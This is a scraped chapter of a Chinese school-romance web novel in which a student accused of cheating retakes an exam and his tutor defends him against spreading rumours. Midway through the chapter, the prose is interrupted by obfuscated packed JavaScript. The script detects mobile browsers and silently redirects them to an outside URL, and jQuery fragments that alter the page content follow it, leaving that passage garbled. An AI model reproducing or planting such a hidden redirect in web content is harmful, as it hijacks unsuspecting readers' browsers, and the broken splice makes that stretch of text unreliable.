15. 重生后沙雕只想抱牢学神小祖宗15……

作品:《江少说他家温总超厉害

    “江少爷这次考得可以啊!不会是家里又给学校捐了栋楼,换来的答案吧?”


    “就是,以前次次垫底,这次直接前200,坐火箭也没这么快啊!”


    “听说他们一班平均分一下子超了我们班好多,该不会是被某人从前拉低,现在又故意抬高吧?”


    这些话像苍蝇一样,嗡嗡地往江亦野耳朵里钻。


    他起初没当回事,甚至还带着一点凡人无法理解天才进步速度的优越感。


    直到有人跑来告诉他一个重磅消息。


    “野哥不好了,2班那个地中海,跑去年级主任那儿告状了。说你的成绩水分太大,严重怀疑你作弊,影响了考试的公平性,还质疑一班之前的平均分被你拉低,现在又突然拔高,数据不正常。”


    江亦野一听,当场跳脚:“我那是凭本事考的分。他们这是眼红,是赤裸裸的诽谤!”


    他气得在走廊直转圈:万一温同学信了咋办?


    他焦躁地看向教室里的温时砚。


    她正心无旁骛地刷着一套物理竞赛题,周遭的流言蜚语于她而言,仿佛是另一个维度的噪声。


    江亦野冲进教室,声音带着委屈和愤怒:“他们说我作弊!”


    温时砚笔尖未停,连眼皮都没抬一下,只是淡淡地嗯了一声,表示知道了。


    江亦野更急了:“你就不生气吗?他们这是在质疑你的教学水平!质疑我们学习小组的成果!”


    温时砚写完最后一个字,放下笔。


    “清者自清。”她语气平静无波,带着一种足以安抚人心的力量。


    “可是……”


    这些流言她也有耳闻,目光落在江亦野因激动而有些发红的脸上:“你的努力,我看得到。不用理会他们!”


    这句话像一道定身符,抚平了江亦野所有的焦躁和不安。


    温总说看得到我的努力。


    温总相信我。


    江亦野觉得自己充满了力量,腰杆也挺直了。


    他重重地点头,像是得到了什么御赐护身符。


    “对!清者自清!我才不跟那些凡夫俗子一般见识。他们就是嫉妒我。”


    虽然心里还是有点憋屈,但有了温时砚的肯定,江亦野觉得自己又能扛起一切了。


    他恶狠狠地瞪了一眼窗外:等着瞧,下次考试,哥考进前150,吓死你们!


    *


    流言愈演愈烈,年级组终于坐不住了。


    为了平息争议,一位副主任找江亦野谈话,委婉地提出了单独重考的可能性。


    “凭什么?”江亦野还说什么,旁边一直安静做题的温时砚却啪地合上了笔帽,第一次在老师面前显露出了明显的不悦。


    她站起身,目光清凌凌地看向副主任,语气冷静却带着不容置疑的力度:“老师,我认为没有这个必要。江亦野同学近期的学习状态和进步,各科老师有目共睹。他每天留下的草稿纸,做的额外习题,都是努力的证明。仅凭毫无根据的猜测就要求重考,是对努力的学生最大的不尊重。”


    副主任有些尴尬:“温同学,我们也是想还江同学一个清白。”


    “清白不需要用这种自证的方式来还。”温时砚打断他,逻辑清晰,“如果每次有学生取得超常进步都要被要求重考,那才是对考试制度和所有努力学生的不公。”


    站在一旁的江亦野,听着温时砚为他据理力争,每一个字都像小锤子敲在他心尖上,敲得他鼻子发酸,眼眶发热。


    温总在维护我!


    她为了我,在跟老师争论!


    这是多么坚固的革命友谊啊!


    一股混杂着感动与激动和我何德何能的狂喜,像海啸一样淹没了他。


    他感觉自己快要飘起来了。


    一股前所未有的情绪在他胸腔里翻涌,让他恨不得当场给温时砚磕一个。


    他深吸一口气,压下翻腾的情绪,上前一步,说:“老师,我接受重考。”


    温时砚蹙眉看向他。


    江亦野对她露出一个放心的笑容,眼神坚定。


    温总都为我做到这份上了,我必须亲自把那些造谣的脸打肿。绝不能给温总丢人。


    “温同学说得对,清者自清。但我更想用事实,让所有人都闭嘴。但是我要求温同学做我的监考人之一。”


    一场特殊的自证考试在一间空教室进行。


    教室里只有三人,温时砚坐在讲台旁看书,江亦野在下面答题,监考老师坐在江亦野旁边。


    整个过程中,江亦野出奇地平静。


    偶尔遇到卡壳的题目,他抬头看一眼讲台上那个沉静的身影,就觉得心里格外踏实,思路也清晰起来。


    他家温总坐镇,就跟有镇山法宝一样。


    安全感爆棚。


    成绩很快出来,按重考的分数,排在202名。


    相比月考名次稍有波动,但依然稳稳地停留在年级前段水平。


    无可争议地证明了他的实力。


    谣言不攻自破。


    江亦野拿着新的成绩单,屁颠屁颠地跑到温时砚面前,眼睛亮晶晶地看着她,像只等待夸奖的大狗。


    温时砚扫了一眼成绩单,又看了看他那一脸求表扬的表情,依旧是那副淡淡的模样,只说了两个字:“还行。”


    他傻笑着,挠了挠头:“都是温同学教得好。”


    江亦野成功自证清白的爽快感并没持续多久,一股更具杀伤力的流言像病毒一样在校园里扩散开来。


    “听说了吗?江亦野能重考过关,是因为温时砚在旁边给他递答案了。”


    “何止递答案,听说卷子都提前看过了,不然怎么可能进步这么快?”


    “年级第一亲自保驾护航,这待遇,啧啧……他俩肯定有事儿。”


    “怪不得老师都睁只眼闭只眼,江家肯定打点过了,温时砚说不定也收了什么好处。”


    “平时装得那么清高,原来……”


    声音不大,但足够刺耳。


    江亦野是在去厕所的路上听到的。


    两个外班的男生靠在走廊窗边,说得正起劲,看到他走过来,立刻噤声,眼神躲闪中带着几分幸灾乐祸。


    江亦野的脚步停在原地,脑子嗡的一声,像是被人用铁锤狠狠砸了一下。


    血液瞬间冲上头顶,耳朵里全是自己剧烈的心跳声。


    如果说之前说他作弊,他只是愤怒,那现在这些话,每一个字都像淬了毒的针,扎在他心上最软的地方。


    他们怎么敢?


    他们怎么敢这么说温时砚?


    他们说她递答案?说她收好处?


    放他娘的屁!


    江亦野猛地转身,一脚踹在旁边的垃圾桶上。


    一声巨响,金属桶身凹陷下去,在空旷的走廊里回荡。


    那两个男生吓得一哆嗦。


    江亦野眼睛赤红,一步一步走过去,声音是从牙缝里挤出来的,带着一种他们从未听过的狠戾:


    “刚才的话,再说一遍!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983893|193556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “我……我们没说什么……”其中一个男生结结巴巴地往后退。


    “没说什么?每一个字,我都听得清清楚楚。”


    “没……”


    江亦野一把揪住那男生的衣领,手臂上的青筋都暴起来:“温时砚是什么人?她需要给我递答案?她用得着收好处?”


    他的声音越来越大,几乎是在吼:“她要肯收好处,早就……”


    “江亦野。”


    熟悉的声音从身后传来。


    江亦野浑身一僵,手上的力道松了。


    他回过头,看见温时砚手里抱着一摞试卷,正静静地看着他。


    她的表情很平静,平静得让江亦野心里发慌。


    “松手。”她说。


    江亦野咬了咬牙,慢慢松开手。


    那个男生连滚带爬地跑了。


    江亦野低着头,不敢看她。


    拳头还紧紧攥着,指甲掐进掌心,生疼。


    “对不起温同学,是我连累你了。”


    如果不是他非要缠着她,如果不是他成绩突然进步,这些谣言根本不会扯上她。


    温时砚没说话,目光落在他还微微发抖的拳头上,又抬起,看进他眼睛里。


    她语气很淡:“你觉得,他们为什么造谣?”


    江亦野一愣。


    他脱口而出:“因为嫉妒。因为他们做不到,就恶心能做到的人。”


    “还有呢?”


    “还有……想看我出丑?看我生气?”


    温时砚点了点头,又摇了摇头:“他们造谣,是因为这是他们唯一能伤害到你的方式。”


    江亦野猛地抬头。


    “你的成绩是真的,我们的关系是干净的,老师没有包庇。这些都是事实,他们改变不了。所以他们只能编故事。编一个听起来合理,能让人津津乐道,能让你愤怒的故事。”


    她往前迈了一小步,距离近到江亦野能看清她睫毛的弧度。


    “而你刚才的反应,正是他们想要的。”


    江亦野怔住了。


    “你越生气,越失控,他们就越得意。因为这说明他们戳到你的痛处了,说明他们在影响你。”


    “对不起!”江亦野小小声。


    “对付谣言,自证清白是下策。你已经重考了,可是谣言并没有消散,反而变本加厉。所以你永远无法向所有人,证明一件不存在的事情。”


    “那……那怎么办?”江亦野的声音有点发干。


    温时砚看了他一眼,那眼神里有什么东西闪了一下,快得抓不住。


    “用他们最怕的东西,打回去。”


    温时砚的话音落下,像一颗石子投入江亦野的脑海。


    “我懂了!他们想看我永远困在自证这个坑里,没空提升自己。我只要继续努力考出好成绩,就够了。”


    温时砚的眼眸里,极快地掠过一丝赞许的微光。


    “记住!你江亦野是我的战友。如果以后再被这种程度的谣言动摇,你就自己滚蛋!”


    说完她走进教室,背影挺直,没有一丝犹豫。


    江亦野站在走廊里,半天没动:她说,我是她的战友!!!


    战友。


    这个词像一道光,劈开了江亦野心中的阴霾和愤怒,在他胸腔里炸开成一片滚烫的烟花。


    他深吸一口气,慢慢松开紧握的拳头,掌心有四个深深的月牙印。


    然后,他咧开嘴,笑了。


    笑得有点傻,但眼神亮亮的。